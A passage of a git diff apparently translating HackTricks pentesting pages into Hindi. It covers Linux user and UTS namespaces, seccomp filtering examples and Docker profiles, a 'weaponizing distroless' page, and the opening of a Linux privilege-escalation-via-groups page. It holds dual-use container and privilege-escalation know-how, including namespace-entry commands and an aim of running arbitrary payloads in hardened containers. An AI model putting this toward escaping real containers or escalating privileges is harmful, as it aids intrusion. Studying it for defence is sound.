और इसकी उप-प्रक्रियाएँ मेमोरी आवंटन त्रुटि का सामना किए बिना कार्य कर सकें।
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +उपयोगकर्ता नामस्थान का उपयोग करने के लिए, Docker डेमन को **`--userns-remap=default`** के साथ शुरू करने की आवश्यकता है (उबंटू 14.04 में, यह `/etc/default/docker` को संशोधित करके और फिर `sudo service docker restart` चलाकर किया जा सकता है) -To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) - -### Check which namespace is your process in - +### जांचें कि आपका प्रक्रिया किस नामस्थान में है ```bash ls -l /proc/self/ns/user lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' ``` - -It's possible to check the user map from the docker container with: - +यह संभव है कि आप docker कंटेनर से उपयोगकर्ता मानचित्र की जांच कर सकें: ```bash cat /proc/self/uid_map - 0 0 4294967295 --> Root is root in host - 0 231072 65536 --> Root is 231072 userid in host +0 0 4294967295 --> Root is root in host +0 231072 65536 --> Root is 231072 userid in host ``` - -Or from the host with: - +या होस्ट से: ```bash cat /proc//uid_map ``` - -### Find all User namespaces - +### सभी उपयोगकर्ता नामस्थान खोजें ```bash sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a User namespace - +### एक उपयोगकर्ता नामस्थान के अंदर प्रवेश करें ```bash nsenter -U TARGET_PID --pid /bin/bash ``` +आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में** **बिना एक वर्णनकर्ता** के **प्रवेश नहीं कर सकते** जो इसे इंगित करता है (जैसे `/proc/self/ns/user`)। -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). - -### Create new User namespace (with mappings) - +### नया उपयोगकर्ता नामस्थान बनाएं (मैपिंग के साथ) ```bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] ``` @@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` +### क्षमताओं की पुनर्प्राप्ति -### Recovering Capabilities +उपयोगकर्ता नामस्थान के मामले में, **जब एक नया उपयोगकर्ता नामस्थान बनाया जाता है, तो उस नामस्थान में प्रवेश करने वाली प्रक्रिया को पूर्ण क्षमताओं का एक सेट दिया जाता है**। ये क्षमताएँ प्रक्रिया को विशेषाधिकार प्राप्त संचालन करने की अनुमति देती हैं जैसे कि **फाइल सिस्टम को माउंट करना**, उपकरण बनाना, या फाइलों के स्वामित्व को बदलना, लेकिन **केवल इसके उपयोगकर्ता नामस्थान के संदर्भ में**। -In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. - -For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces. +उदाहरण के लिए, जब आपके पास एक उपयोगकर्ता नामस्थान के भीतर `CAP_SYS_ADMIN` क्षमता होती है, तो आप ऐसे संचालन कर सकते हैं जो आमतौर पर इस क्षमता की आवश्यकता होती है, जैसे कि फाइल सिस्टम को माउंट करना, लेकिन केवल आपके उपयोगकर्ता नामस्थान के संदर्भ में। इस क्षमता के साथ किए गए कोई भी संचालन होस्ट सिस्टम या अन्य नामस्थानों को प्रभावित नहीं करेंगे। > [!WARNING] -> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. - +> इसलिए, भले ही एक नए उपयोगकर्ता नामस्थान के भीतर एक नई प्रक्रिया प्राप्त करना **आपको सभी क्षमताएँ वापस देगा** (CapEff: 000001ffffffffff), आप वास्तव में **केवल नामस्थान से संबंधित क्षमताओं का उपयोग कर सकते हैं** (उदाहरण के लिए माउंट) लेकिन हर एक का नहीं। इसलिए, यह अपने आप में एक Docker कंटेनर से भागने के लिए पर्याप्त नहीं है। ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash @@ -144,5 +127,4 @@ Probando: 0x139 . . . Error Probando: 0x140 . . . Error Probando: 0x141 . . . Error ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 62b92742a..ccc6b010a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -4,75 +4,65 @@ ## Basic Information -A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. +एक UTS (UNIX Time-Sharing System) namespace एक Linux kernel विशेषता है जो **दो सिस्टम पहचानकर्ताओं** का **अलगाव** प्रदान करती है: **hostname** और **NIS** (Network Information Service) डोमेन नाम। यह अलगाव प्रत्येक UTS namespace को **अपना स्वतंत्र hostname और NIS डोमेन नाम** रखने की अनुमति देता है, जो कंटेनरीकरण परिदृश्यों में विशेष रूप से उपयोगी है जहां प्रत्येक कंटेनर को अपने hostname के साथ एक अलग सिस्टम के रूप में प्रकट होना चाहिए। ### How it works: -1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1. जब एक नया UTS namespace बनाया जाता है, तो यह अपने माता-पिता namespace से **hostname और NIS डोमेन नाम की एक प्रति** के साथ शुरू होता है। इसका मतलब है कि, निर्माण के समय, नया namespace **अपने माता-पिता के समान पहचानकर्ता साझा करता है**। हालाँकि, namespace के भीतर hostname या NIS डोमेन नाम में बाद में किए गए किसी भी परिवर्तन का अन्य namespaces पर कोई प्रभाव नहीं पड़ेगा। +2. UTS namespace के भीतर प्रक्रियाएँ **hostname और NIS डोमेन नाम** को क्रमशः `sethostname()` और `setdomainname()` सिस्टम कॉल का उपयोग करके बदल सकती हैं। ये परिवर्तन namespace के लिए स्थानीय होते हैं और अन्य namespaces या होस्ट सिस्टम को प्रभावित नहीं करते हैं। +3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके namespaces के बीच स्थानांतरित हो सकती हैं या `CLONE_NEWUTS` ध्वज के साथ `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए namespaces बना सकती हैं। जब एक प्रक्रिया एक नए namespace में जाती है या एक बनाती है, तो यह उस namespace से संबंधित hostname और NIS डोमेन नाम का उपयोग करना शुरू कर देगी। ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -u [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`/proc` फ़ाइल सिस्टम के एक नए उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलग दृश्य** है।
-Error: bash: fork: Cannot allocate memory +त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं: -1. **Problem Explanation**: +1. **समस्या का विवरण**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। +- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। -2. **Consequence**: +2. **परिणाम**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **समाधान**: +- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है। +- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### जांचें कि आपका प्रोसेस किस नामस्थान में है ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' ``` - -### Find all UTS namespaces - +### सभी UTS नामस्थान खोजें ```bash sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an UTS namespace - +### UTS नामस्थान के अंदर प्रवेश करें ```bash nsenter -u TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 17ec393d2..173332020 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -4,16 +4,15 @@ ## Basic Information -**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them. +**Seccomp**, जिसका मतलब Secure Computing mode है, **Linux kernel की एक सुरक्षा विशेषता है जो सिस्टम कॉल को फ़िल्टर करने के लिए डिज़ाइन की गई है**। यह प्रक्रियाओं को सिस्टम कॉल के एक सीमित सेट (`exit()`, `sigreturn()`, `read()`, और `write()` के लिए पहले से खुले फ़ाइल डिस्क्रिप्टर) तक सीमित करता है। यदि कोई प्रक्रिया कुछ और कॉल करने की कोशिश करती है, तो इसे SIGKILL या SIGSYS का उपयोग करके कर्नेल द्वारा समाप्त कर दिया जाता है। यह तंत्र संसाधनों को वर्चुअलाइज़ नहीं करता है बल्कि प्रक्रिया को उनसे अलग करता है। -There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`. +Seccomp को सक्रिय करने के दो तरीके हैं: `PR_SET_SECCOMP` के साथ `prctl(2)` सिस्टम कॉल के माध्यम से, या Linux kernels 3.17 और उससे ऊपर के लिए, `seccomp(2)` सिस्टम कॉल के माध्यम से। `/proc/self/seccomp` में लिखकर seccomp को सक्षम करने का पुराना तरीका `prctl()` के पक्ष में हटा दिया गया है। -An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux. +एक सुधार, **seccomp-bpf**, एक अनुकूलन योग्य नीति के साथ सिस्टम कॉल को फ़िल्टर करने की क्षमता जोड़ता है, जो Berkeley Packet Filter (BPF) नियमों का उपयोग करता है। इस विस्तार का उपयोग OpenSSH, vsftpd, और Chrome OS और Linux पर Chrome/Chromium ब्राउज़रों जैसे सॉफ़्टवेयर द्वारा लचीले और कुशल syscall फ़िल्टरिंग के लिए किया जाता है, जो अब अप्रयुक्त systrace के लिए एक विकल्प प्रदान करता है। ### **Original/Strict Mode** -In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL - +इस मोड में Seccomp **केवल syscalls** `exit()`, `sigreturn()`, `read()` और `write()` को पहले से खुले फ़ाइल डिस्क्रिप्टर के लिए अनुमति देता है। यदि कोई अन्य syscall किया जाता है, तो प्रक्रिया को SIGKILL का उपयोग करके मार दिया जाता है। ```c:seccomp_strict.c #include #include @@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read( int main(int argc, char **argv) { - int output = open("output.txt", O_WRONLY); - const char *val = "test"; +int output = open("output.txt", O_WRONLY); +const char *val = "test"; - //enables strict seccomp mode - printf("Calling prctl() to set seccomp strict mode...\n"); - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); +//enables strict seccomp mode +printf("Calling prctl() to set seccomp strict mode...\n"); +prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - //This is allowed as the file was already opened - printf("Writing to an already open file...\n"); - write(output, val, strlen(val)+1); +//This is allowed as the file was already opened +printf("Writing to an already open file...\n"); +write(output, val, strlen(val)+1); - //This isn't allowed - printf("Trying to open file for reading...\n"); - int input = open("output.txt", O_RDONLY); +//This isn't allowed +printf("Trying to open file for reading...\n"); +int input = open("output.txt", O_RDONLY); - printf("You will not see this message--the process will be killed first\n"); +printf("You will not see this message--the process will be killed first\n"); } ``` - ### Seccomp-bpf -This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. - +यह मोड **कनफिगर करने योग्य नीति का उपयोग करके सिस्टम कॉल को फ़िल्टर करने** की अनुमति देता है, जो बर्कले पैकेट फ़िल्टर नियमों का उपयोग करके लागू किया गया है। ```c:seccomp_bpf.c #include #include @@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple //gcc seccomp_bpf.c -o seccomp_bpf -lseccomp void main(void) { - /* initialize the libseccomp context */ - scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); +/* initialize the libseccomp context */ +scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); - /* allow exiting */ - printf("Adding rule : Allow exit_group\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); +/* allow exiting */ +printf("Adding rule : Allow exit_group\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); - /* allow getting the current pid */ - //printf("Adding rule : Allow getpid\n"); - //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); +/* allow getting the current pid */ +//printf("Adding rule : Allow getpid\n"); +//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); - printf("Adding rule : Deny getpid\n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); - /* allow changing data segment size, as required by glibc */ - printf("Adding rule : Allow brk\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); +printf("Adding rule : Deny getpid\n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); +/* allow changing data segment size, as required by glibc */ +printf("Adding rule : Allow brk\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); - /* allow writing up to 512 bytes to fd 1 */ - printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, - SCMP_A0(SCMP_CMP_EQ, 1), - SCMP_A2(SCMP_CMP_LE, 512)); +/* allow writing up to 512 bytes to fd 1 */ +printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, +SCMP_A0(SCMP_CMP_EQ, 1), +SCMP_A2(SCMP_CMP_LE, 512)); - /* if writing to any other fd, return -EBADF */ - printf("Adding rule : Deny write to any FD except 1 \n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, - SCMP_A0(SCMP_CMP_NE, 1)); +/* if writing to any other fd, return -EBADF */ +printf("Adding rule : Deny write to any FD except 1 \n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, +SCMP_A0(SCMP_CMP_NE, 1)); - /* load and enforce the filters */ - printf("Load rules and enforce \n"); - seccomp_load(ctx); - seccomp_release(ctx); - //Get the getpid is denied, a weird number will be returned like - //this process is -9 - printf("this process is %d\n", getpid()); +/* load and enforce the filters */ +printf("Load rules and enforce \n"); +seccomp_load(ctx); +seccomp_release(ctx); +//Get the getpid is denied, a weird number will be returned like +//this process is -9 +printf("this process is %d\n", getpid()); } ``` - ## Seccomp in Docker -**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: - +**Seccomp-bpf** का समर्थन **Docker** द्वारा किया जाता है ताकि **syscalls** को प्रभावी ढंग से प्रतिबंधित किया जा सके, जिससे सतह क्षेत्र कम हो जाता है। आप [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) में **डिफ़ॉल्ट** द्वारा **ब्लॉक किए गए syscalls** को पा सकते हैं और **डिफ़ॉल्ट seccomp प्रोफ़ाइल** यहाँ मिल सकती है [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)।\ +आप एक **विभिन्न seccomp** नीति के साथ एक डॉकर कंटेनर चला सकते हैं: ```bash docker run --rm \ - -it \ - --security-opt seccomp=/path/to/seccomp/profile.json \ - hello-world +-it \ +--security-opt seccomp=/path/to/seccomp/profile.json \ +hello-world ``` - -If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls** of `uname` are discovered: - +यदि आप उदाहरण के लिए किसी कंटेनर को कुछ **syscall** जैसे `uname` को निष्पादित करने से **रोकना** चाहते हैं, तो आप [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) से डिफ़ॉल्ट प्रोफ़ाइल डाउनलोड कर सकते हैं और बस **सूची से `uname` स्ट्रिंग को हटा सकते हैं।**\ +यदि आप यह सुनिश्चित करना चाहते हैं कि **कोई बाइनरी एक डॉकर कंटेनर के अंदर काम न करे**, तो आप बाइनरी द्वारा उपयोग किए जा रहे syscalls की सूची बनाने के लिए strace का उपयोग कर सकते हैं और फिर उन्हें रोक सकते हैं।\ +निम्नलिखित उदाहरण में `uname` के **syscalls** का पता लगाया गया है: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - > [!NOTE] -> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +> यदि आप **Docker का उपयोग केवल एक एप्लिकेशन लॉन्च करने के लिए कर रहे हैं**, तो आप इसे **`strace`** के साथ **प्रोफाइल** कर सकते हैं और केवल उन syscalls की अनुमति दे सकते हैं जिनकी इसे आवश्यकता है। -### Example Seccomp policy +### उदाहरण Seccomp नीति [Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) -To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. - +Seccomp फीचर को स्पष्ट करने के लिए, आइए एक Seccomp प्रोफाइल बनाते हैं जो "chmod" सिस्टम कॉल को नीचे की तरह निष्क्रिय करता है। ```json { - "defaultAction": "SCMP_ACT_ALLOW", - "syscalls": [ - { - "name": "chmod", - "action": "SCMP_ACT_ERRNO" - } - ] +"defaultAction": "SCMP_ACT_ALLOW", +"syscalls": [ +{ +"name": "chmod", +"action": "SCMP_ACT_ERRNO" +} +] } ``` - -In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ -Following output shows the “chmod” call returning error because its disabled in the seccomp profile - +उपरोक्त प्रोफ़ाइल में, हमने डिफ़ॉल्ट क्रिया को "अनुमति" पर सेट किया है और "chmod" को अक्षम करने के लिए एक काली सूची बनाई है। अधिक सुरक्षित होने के लिए, हम डिफ़ॉल्ट क्रिया को ड्रॉप पर सेट कर सकते हैं और सिस्टम कॉल को चयनात्मक रूप से सक्षम करने के लिए एक सफेद सूची बना सकते हैं।\ +निम्नलिखित आउटपुट "chmod" कॉल को त्रुटि लौटाते हुए दिखाता है क्योंकि इसे seccomp प्रोफ़ाइल में अक्षम किया गया है। ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` - -Following output shows the “docker inspect” displaying the profile: - +निम्नलिखित आउटपुट "docker inspect" द्वारा प्रोफ़ाइल को प्रदर्शित करता है: ```json "SecurityOpt": [ - "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" - ] +"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" +] ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index a733d5934..cb5d42d9f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -4,27 +4,27 @@ ## What is Distroless -A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. +एक distroless कंटेनर एक प्रकार का कंटेनर है जो **विशिष्ट एप्लिकेशन को चलाने के लिए केवल आवश्यक निर्भरताएँ** रखता है, बिना किसी अतिरिक्त सॉफ़्टवेयर या उपकरणों के जो आवश्यक नहीं हैं। ये कंटेनर **हल्के** और **सुरक्षित** होने के लिए डिज़ाइन किए गए हैं, और वे **हमले की सतह को कम करने** का लक्ष्य रखते हैं, अनावश्यक घटकों को हटाकर। -Distroless containers are often used in **production environments where security and reliability are paramount**. +Distroless कंटेनर अक्सर **उत्पादन वातावरण में उपयोग किए जाते हैं जहाँ सुरक्षा और विश्वसनीयता सर्वोपरि हैं**। -Some **examples** of **distroless containers** are: +कुछ **उदाहरण** **distroless कंटेनरों** के हैं: -- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) -- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) +- **Google** द्वारा प्रदान किया गया: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) +- **Chainguard** द्वारा प्रदान किया गया: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) ## Weaponizing Distroless -The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. +एक distroless कंटेनर को हथियार बनाने का लक्ष्य यह है कि **मनमाने बाइनरी और पेलोड को निष्पादित किया जा सके, भले ही distroless द्वारा लगाए गए सीमाओं** (सिस्टम में सामान्य बाइनरी की कमी) और कंटेनरों में सामान्यतः पाए जाने वाले सुरक्षा उपायों जैसे **पढ़ने के लिए केवल** या **निष्पादित न करें** `/dev/shm` में। ### Through memory -Coming at some point of 2023... +2023 के किसी बिंदु पर आ रहा है... ### Via Existing binaries #### openssl -\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container. +\***\*[**इस पोस्ट में,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) यह बताया गया है कि बाइनरी **`openssl`** अक्सर इन कंटेनरों में पाई जाती है, संभवतः क्योंकि यह **जरूरी है\*\* उस सॉफ़्टवेयर के लिए जो कंटेनर के अंदर चलने वाला है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index f34a6d548..29c75499d 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,13 +1,12 @@ -# Interesting Groups - Linux Privesc +# दिलचस्प समूह - लिनक्स प्रिवेस्क {{#include ../../../banners/hacktricks-training.md}} -## Sudo/Admin Groups +## सुदो/एडमिन समूह -### **PE - Method 1** - -**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: +### **पीई - विधि 1** +**कभी-कभी**, **डिफ़ॉल्ट रूप से (या क्योंकि कुछ सॉफ़्टवेयर को इसकी आवश्यकता होती है)** **/etc/sudoers** फ़ाइल के अंदर आप इनमें से कुछ पंक्तियाँ पा सकते हैं: ```bash # Allow members of group sudo to execute any command %sudo 